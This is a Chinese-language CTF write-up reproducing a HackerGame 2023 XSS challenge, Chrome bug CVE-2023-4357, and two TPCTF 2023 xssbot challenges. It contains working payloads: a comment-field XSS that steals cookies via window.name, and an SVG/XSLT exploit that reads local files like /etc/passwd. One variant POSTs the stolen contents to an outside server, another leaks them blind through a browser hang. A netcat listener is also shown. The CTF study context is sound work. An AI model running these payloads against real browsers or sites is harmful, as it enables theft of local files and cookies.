HackerGame-XSS & TPCTF 2023 & CVE-2023-4357

Last updated on November 30, 2023 am

HackerGame-XSS & CVE-2023-4357 & TPCTF 2023

记录一些个复现

前言

这次TPCTF出了两道CVE-2023-4357的题目,而且还借用了HackerGame2023的中微积分练习题的一个bot脚本。于是正好借此机会,复现一下HG的这道题目,同时也学习一下这个CVE的利用姿势

微积分计算小练习 2.0

评论界面分析

随便输入那几道微积分的答案后会进入一个评论界面

在这里输入的评论会被拼接进html里面,f12查看源码可以看到如下的语句

1
updateElement("#comment", "你留下的评论:123123");

于是在这里就有一种注入方式,如果我们的输入带有双引号"123123",就会变成这样子

1
updateElement("#comment", "你留下的评论:"123123"");

也就是会把前项闭合

如果说再带一个加号"+123123+",就会变成这样

1
updateElement("#comment", "你留下的评论:"+123123+"");

这就相当于把输入独立出来,如果把这里面的123123换成一些JS语句,那么JS语句执行的结果就会被拼接进这个评论里面,从而达到攻击目的。类似于这样

1
updateElement("#comment", "你留下的评论:"+JS+"");

把JS换成location,会得到这个结果

这就验证了注入的可能性。

bot分析

但此时会发现这个评论将字符数量卡在25以内,很难利用。但是题目中也给了提示,即bot会查看我们的弹窗

在js中弹窗函数是这个:

1
window.open(url, target, windowFeatures)

其中url是弹窗要转去的地址,target是转去之后窗口的名字,在任意一个窗口输入如下语句

1
window.open("https://www.example.com","test") 

浏览器可能会阻止弹窗,点击允许弹窗后就会转去另一个窗口

在另一个窗口控制台输入如下语句

1
window.name

就会得到窗口名字

这个地方注意,使用window.namename是等效的,也就是会有一个默认的window全局变量。这其实与window.alert(1)alert(1)是一样道理。

解题思路

我们可以往评论区插入一部分JS代码,而后Bot会执行我们的html代码。因此我们需要在评论插入{1:location=name}语句,在我们自己的html处设置name为我们想要的JS语句,再跳转至界面,就可以执行我们的JS语句

step1:先在评论区插入"+{1:location=name}+"

step2:构造一个html

1
2
3
4
5
6
7
<script>
//设置跳转后窗口名字
window.name =
"javascript:document.querySelector('textarea').value=document.cookie.replace(/%/g,'#').substring(0,20);document.querySelector('button').click()";//第一步是设置评论区为flag,flag需要做一些处理。第二步是将评论提交出去

location.href = "http://web/result";//这一步是使得bot跳转
</script>

step3提取flag

CVE-2023-4357

网上已经有很多对此漏洞的分析,这里只作出复现步骤

版本:Google Chrome < 116.0.5845.96

在服务器上准备此exp

exp:

exp.svg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY flag SYSTEM "file:///etc/passwd"><!-- 这里换敏感目录-->
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<p class="flag">&flag;</p>

</body>
</xsl:template>
</xsl:stylesheet>

使用有漏洞的浏览器访问

如果需要外带则加上一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY flag SYSTEM "file:///etc/passwd"><!-- 这里换敏感目录-->
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<p class="flag">&flag;</p>
<script>
var data = document.querySelector(".flag").textContent;
fetch("http://服务器地址:端口", {
method: 'POST',
headers: {
'Content-Type': 'text/plain'
},
body: data
})
</script>
</body>
</xsl:template>
</xsl:stylesheet>

先在服务器上监听

1
nc -lvp 3389

然后等待别人访问服务器上的exp.svg

TPCTF 2023

xssbot

这题目给了两个附件,一个是bot.py,一个是dockerfile,其中bot.py与hackergame那题几乎一模一样,处理逻辑也是相当。为了复现题目,我们可以使用提供的dockerfile来构建一个镜像

1
docker build . -t 镜像名字

然后运行

1
docker run -it --rm 镜像名字 

运行之后会要求输入一个文件名,这个可以随意

然后就是输入exp.svg来进行攻击,这里与上面的exp.svg是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY flag SYSTEM "file:///etc/passwd"><!-- 这里换敏感目录-->
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<p class="flag">&flag;</p>
<script>
var data = document.querySelector(".flag").textContent;
fetch("http://服务器地址:端口", {
method: 'POST',
headers: {
'Content-Type': 'text/plain'
},
body: data
})
</script>
</body>
</xsl:template>
</xsl:stylesheet>

不过这里我依然使用/etc/passwd作为敏感目录,比赛中换为/flag即可

随后就能在服务器上收到消息了

xssbot but no Internet

这题与上题一样,不过没有网络链接,需要使用盲注,稍微改下exp即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY flag SYSTEM "file:///etc/passwd"><!-- 这里换敏感目录-->
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<p class="flag">&flag;</p>
<script>
var data = document.querySelector(".flag").textContent;
// fetch("http://114.132.159.167:3389", {
// method: 'POST',
// headers: {
// 'Content-Type': 'text/plain'
// },
// body: data
// })
if(data[0]!=0){
while(true)
{
console.log(1)
}
}
</script>
</body>
</xsl:template>
</xsl:stylesheet>

HackerGame-XSS & TPCTF 2023 & CVE-2023-4357
http://example.com/2023/11/30/TPCTF_2023_CVE-2023-4357/
Author
yring
Posted on
November 30, 2023
Licensed under